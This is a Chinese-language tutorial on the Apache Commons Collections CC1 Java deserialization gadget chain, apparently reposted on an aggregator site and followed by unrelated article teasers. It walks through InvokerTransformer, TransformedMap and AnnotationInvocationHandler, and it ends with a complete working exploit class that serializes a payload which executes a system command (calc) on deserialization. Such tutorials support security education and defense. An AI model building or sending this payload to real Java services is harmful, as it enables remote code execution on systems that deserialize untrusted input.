WEB安全--Java安全--CC1利用鏈

一、梳理基本邏輯

WEB后端JVM通過readObject()的反序列化方式接收用戶輸入的數據

用戶編寫惡意代碼并將其序列化為原始數據流

WEB后端JVM接收到序列化后惡意的原始數據并進行反序列化?

當調用:
ObjectInputStream.readObject()

JVM 內部邏輯:
→ 反序列化 AnnotationInvocationHandler.class
→ 檢查到類里定義了 private void readObject(ObjectInputStream)
→ 自動調用 readObject()

于是我們通過這個入口將整條鏈都執行了,最后執行命令

二、CC1的基本形態構建

2.1、Runtime.getRuntime().exec()

Java執行系統命令的方式

正常寫法:

Runtime.getRuntime().exec("calc");

反射寫法:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

2.2、InvokeTransformer.transform()

重寫了Transformer接口的transform方法,能執行命令

在InvokeTransformer()中傳入待執行的方法名(exec)、類的類型(String.class)和具體命令(calc)

在InvokeTransformer的transform()中傳入要執行方法的對象(r)

Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

其作用等價于

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

也等價于

Runtime.getRuntime().exec("calc");

2.3、TransformedMap.checkSetValue()

會調用transform -> 需要通過TransformedMap.decorate()間接調用

可以看到圖3調用了transform()方法;

并且由圖1知道該類是對Map進行處理的類,為了達到我們想要的效果,我們得自己構造一個Hash Map;

而且可以看到圖3最后是對valueTransformer進行操作的,所以我們可以把InvokeTransformer對象當做valueTransformer傳遞給TransformedMap的decorate()方法:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

所以當TransformedMap處理我們的對象時,就會調用InvokeTransformer.transform()

也就是等價于:

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

2.4、MapEntry.setValue()

TransformedMap的抽象父類AbstractInputCheckedMapDecorator

中的MapEntry副類中的setValue()方法調用了checkSetValue()

HashMap在遍歷的時候,一個鍵值對就叫Entry;

MapEntry的setValue()實際上就是重寫的Entry的setValue();

所以當遍歷我們構造的transformedMap對象時,就會走到MapEntry的setValue()方法;

進而調用setValue()中調用的checkSetValue():

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

當transformedMap被遍歷時,就會執行命令:

2.5、AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler重寫了readObject()方法,執行AnnotationInvocationHandler.readObject()時會調用setValue()

因為這個類的構造方法不是public,所以我們要通過反射獲取該類及其方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

三、整理內容

3.1、思路梳理(正向)

1、現在我們構建的這個對象,會在反序列化的時候自動觸發AnnotationInvocationHandler中的readObject()方法,原理如下;

2、當執行該重寫的readObject()方法時,會觸發調用MapEntry.setValue(),因為AnnotationInvocationHandler.readObject()的內部機制:

當反序列化AnnotationInvocationHandler時會自動遍歷我們傳遞的transformedMap,從而執行MapEntry的setValue()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {memberValue.setValue(...);  // ← 這里就觸發了 transformedMap 的 checkSetValue()
}

3、當MapEntry.setValue()被執行時,會執行TransformedMap.checkSetValue(),因為:

TransformedMap.decorate()返回的Map包裝了原始的entrySet(),當調用entry.setValue()時,其實是在調用TransformedMap.MapEntry.setValue(),而這個方法正好調用了checkSetValue()

當遍歷我們構造的transformedMap對象時,就會走到MapEntry的setValue()方法;

進而調用setValue()中調用的checkSetValue():

4、當TransformedMap.checkSetValue()被調用時,會調用InvokeTransformer.transform(),因為:

我們把InvokeTransformer對象當做valueTransformer傳遞給TransformedMap的decorate()方法

而decorate()方法就會間接調用checkSetValue(),然后間接調用InvokeTransformer.transform(),相當于

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

5、當InvokeTransformer.transform()被調用,就基于我們實例化的Runtime對象r進行命令執行

3.2、EXP雛形

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("calc");Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

?

四、問題處理

4.1、Runtime不能被序列化

我們跟進到Runtime里看一下,發現它沒有serializable接口,不能被序列化:

但是我們可以運用反射來獲取它的原型類,它的原型類class是存在serializable接口,可以序列化

那么我們怎么獲取一個實例化對象呢,這里我們看到存在一個靜態的getRuntime方法,這個方法會返回一個Runtime對象,相當于是一種單例模式:

用反射構建一個Runtime對象(能執行命令):

//獲取類原型
Class c = Runtime.class;
//獲取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);//獲取實例化對象,因為該方法無無參方法,所以全為null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//獲取exec方法
Method execMehod = c.getMethod("exec", String.class);
//實現命令執行
execMehod.invoke(r,"calc");

因為我們最后執行是依靠InvokeTransformer.transform(),所以要將上述代碼進行變形,使其用InvokeTransformer.transform()的形式呈現(能執行命令):

參考InvokeTransformer.transform()執行對象方法的原理

\\InvokeTransformer(方法).transform(對象)\\

//獲取類原型
Class c = Runtime.class;
//模擬獲取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模擬獲取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模擬獲取exec方法,并進行命令執行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是這樣要一個個嵌套創建參數太麻煩了,我們這里找到了一個Commons Collections庫中存在的ChainedTransformer類,它也存在transform方法可以幫我們遍歷InvokerTransformer,并且調用transform方法:

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4.2、AnnotationInvocationHandler類下的readObject方法的條件判斷

這里memeberType是獲取注解中成員變量的名稱,然后并且檢查鍵值對中鍵名是否有對應的名稱

而我們發現另一個注解@Target中有個名為value的成員變量,所以我們就可以使用這個注解,

并改第一個鍵值對的值為value:

4.3、AnnotationTypeMismatchExceptionProxy不能轉換為Runtime.class

把上述問題解決后我們再觀察,因為AnnotationInvocationHandler.readObject()是入口,當反序列化觸發readObject()時,該方法默認創建了一個對象AnnotationTypeMismatchExceptionProxy:

可以發現,鏈條雖然被觸發了,不過AnnotationTypeMismatchExceptionProxy這個對象最后傳到ChainedTransformer類中是不能執行方法的,我們想要的是獲取Runtime.class對象:

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}

而不是:?

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}

?所以我們需要把AnnotationTypeMismatchExceptionProxy改為Runtime.class

ConstantTransformer:我們傳入什么值,就會返回什么值

這個類就能把AnnotationTypeMismatchExceptionProxy改為Runtime.class

在到達最后一步InvokeTransformer.transform()對某個對象執行其命令之前,將Runtime.class作為對象輸出給它

?至此,CC1鏈的問題就全部解決了。

五、最終EXP

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/905466.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/905466.shtml
英文地址,請注明出處:http://en.pswp.cn/news/905466.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

FlashInfer - 介紹 LLM服務加速庫 地基的一塊石頭

FlashInfer - 介紹 LLM服務加速庫 地基的一塊石頭 flyfish 大型語言模型服務中的注意力機制 大型語言模型服務&#xff08;LLM Serving&#xff09;迅速成為重要的工作負載。Transformer中的算子效率——尤其是矩陣乘法&#xff08;GEMM&#xff09;、自注意力&#xff08;S…

反向操作:如何用AI檢測工具優化自己的論文“人味”?

大家好&#xff0c;這里是論文寫手的一線自救指南&#x1f624; 在AIGC橫行的今天&#xff0c;誰還沒偷偷用過AI寫幾段論文內容&#xff1f;但問題來了&#xff1a;學校越來越會“識AI”了&#xff01; 有的學校甚至不看重復率&#xff0c;只盯AIGC率報告&#xff0c;一句“AI…

關于單片機的基礎知識(一)

成長路上不孤單&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///計算機愛好者&#x1f60a;///持續分享所學&#x1f60a;///如有需要歡迎收藏轉發///&#x1f60a;】 今日分享關于單片機基礎知識的相關內容&#xf…

AWS技術助力企業滿足GDPR合規要求

GDPR(通用數據保護條例)作為歐盟嚴格的數據保護法規,給許多企業帶來了合規挑戰。本文將探討如何利用AWS(亞馬遜云服務)的相關技術來滿足GDPR的核心要求,幫助企業實現數據保護合規。 一、GDPR核心要求概覽 GDPR的主要目標是保護歐盟公民的個人數據和隱私權。其核心要求包括: 數…

FFplay 音視頻同步機制解析:以音頻為基準的時間校準與動態幀調整策略

1.?視頻同步基礎 1.2 簡介 看視頻時&#xff0c;要是聲音和畫面不同步&#xff0c;體驗會大打折扣。之所以會出現這種情況&#xff0c;和音視頻數據的處理過程密切相關。音頻和視頻的輸出不在同一個線程&#xff0c;就像兩個工人在不同車間工作&#xff0c;而且不一定會同時…

車載網關--- 職責邊界劃分與功能解耦設計

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 鈍感力的“鈍”,不是木訥、遲鈍,而是直面困境的韌勁和耐力,是面對外界噪音的通透淡然。 生活中有兩種人,一種人格外在意別人的眼光;另一種人無論…

最優化方法Python計算:有約束優化應用——近似線性可分問題支持向量機

二分問題的數據集 { ( x i , y i ) } \{(\boldsymbol{x}_i,y_i)\} {(xi?,yi?)}&#xff0c; i 1 , 2 , ? , m i1,2,\cdots,m i1,2,?,m中&#xff0c;特征數據 { x i } \{\boldsymbol{x}_i\} {xi?}未必能被一塊超平面按其標簽值 y i ∈ { ? 1 , 1 } y_i\in\{-1,1\} yi?∈…

aardio - 將文本生成CSS格式顯示

import win.ui; /*DSG{{*/ var winform win.form(text"aardio form";right759;bottom469) winform.add( button{cls"button";text"Button";left340;top130;right430;bottom180;z3}; edit{cls"edit";text"我是一串文本";lef…

數字IC后端設計實現 | 如何自動刪除Innovus 中冗余的hold buffer?

我們都知道在postCTS階段做optDesign時序優化時需要進行hold violation的fixing。所以這個過程勢必要通過插hold buffer來解決hold violation。這類hold buffer的名字帶有"PHC"的關鍵詞。 select_obj [dbGet top.insts.name PHC] llength [dbGet top.insts.name PH…

c# 倒序方法

在C#中&#xff0c;有幾種方法可以對List進行倒序排列&#xff1a; 1. 使用List的Reverse()方法&#xff08;原地反轉&#xff09; List<int> numbers new List<int> { 1, 2, 3, 4, 5 };numbers.Reverse(); // 直接修改原列表// 結果&#xff1a;5, 4, 3, 2, 1 …

【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權

【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權 文章目錄 【內網滲透】——S4u2擴展協議提權以及KDC欺騙提權[toc]一&#xff1a;Kerberos 委派攻擊原理之 S4U2利用1.1原理1.2兩種擴展協議**S4U2Self (Service for User to Self)****S4U2Proxy (Service for User to Proxy)*…

AD 間距規則與布線規則

1. 打開在線規則檢查 2. 間距規則 一般來說最小間距設為6mil 注意&#xff1a; AD22 也提供類似低版本那樣的、多個間距規則疊加的方法&#xff0c;通過選擇第一個適配對象和第二個適配對象來篩選對象和范圍。 ① Where The First Object Matches &#xff1a;選擇規則第一個…

Android Studio 安裝與配置完全指南

文章目錄 第一部分&#xff1a;Android Studio 簡介與安裝準備1.1 Android Studio 概述1.2 系統要求Windows 系統&#xff1a;macOS 系統&#xff1a;Linux 系統&#xff1a; 1.3 下載 Android Studio 第二部分&#xff1a;安裝 Android Studio2.1 Windows 系統安裝步驟2.2 mac…

springboot踩坑記錄

之前運行好端端的項目&#xff0c;今天下午打開只是添加了一個文件之后 再運行都報Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured.Reason: Failed to determine a suitable driver class Action: Conside…

【計算機視覺】OpenCV實戰項目:Deep Machine Learning Tutors:基于OpenCV的實時面部識別系統深度解析

Deep Machine Learning Tutors&#xff1a;基于OpenCV的實時面部識別系統深度解析 1. 項目概述2. 技術原理2.1 面部識別流程2.2 關鍵技術組件2.2.1 Haar級聯分類器2.2.2 深度特征提取 3. 項目實現細節3.1 系統架構3.2 核心算法實現3.2.1 人臉檢測3.2.2 實時處理流水線 4. 項目運…

Flutter在鍵盤的上方加一個完成按鈕

有些情況下&#xff0c;輸入框在輸入鍵盤彈出后&#xff0c; 需要在鍵盤的上方顯示一個toolbar &#xff0c; 然后 toolbar 上面一個完成按鈕&#xff0c;點完成按鈕把鍵盤關閉。 如圖&#xff1a; 直接上代碼&#xff0c;這樣寫的好處是&#xff0c;把 TextField 給封裝了&…

Flink SQL 將kafka topic的數據寫到另外一個topic里面

-- 創建源表&#xff0c;使用 RAW 格式接收原始 JSON 數據 CREATE TABLE source_kafka ( id STRING, data STRING ) WITH ( connector kafka, topic source_kafka-topic, properties.bootstrap.servers master01:9092, properties.group.id flink-kafka-group, scan.startu…

618開售僅1小時,李佳琦直播間加購同增超10%

5月13日晚8點&#xff0c;天貓618大促正式拉開帷幕&#xff0c;李佳琦直播間首日“爆款美妝節”公布首輪戰報&#xff1a;首小時加購GMV同比增長超10%&#xff0c;可復美、珀萊雅等品牌超60萬件國貨爆品秒售罄。 據統計&#xff0c;今年李佳琦直播間618首日預售共上架近500件爆…

【輕松學 C:編程小白的大冒險】— 16 函數的定義與調用

在編程的藝術世界里&#xff0c;代碼和靈感需要尋找到最佳的交融點&#xff0c;才能打造出令人為之驚嘆的作品。而在這座秋知葉i博客的殿堂里&#xff0c;我們將共同追尋這種完美結合&#xff0c;為未來的世界留下屬于我們的獨特印記。 【輕松學 C&#xff1a;編程小白的大冒險…

多模態大語言模型arxiv論文略讀(七十四)

UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ?? 論文標題&#xff1a;UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ?? 論文作者&#xff1a;Hantao Zhou, Longxiang Tang, Ru…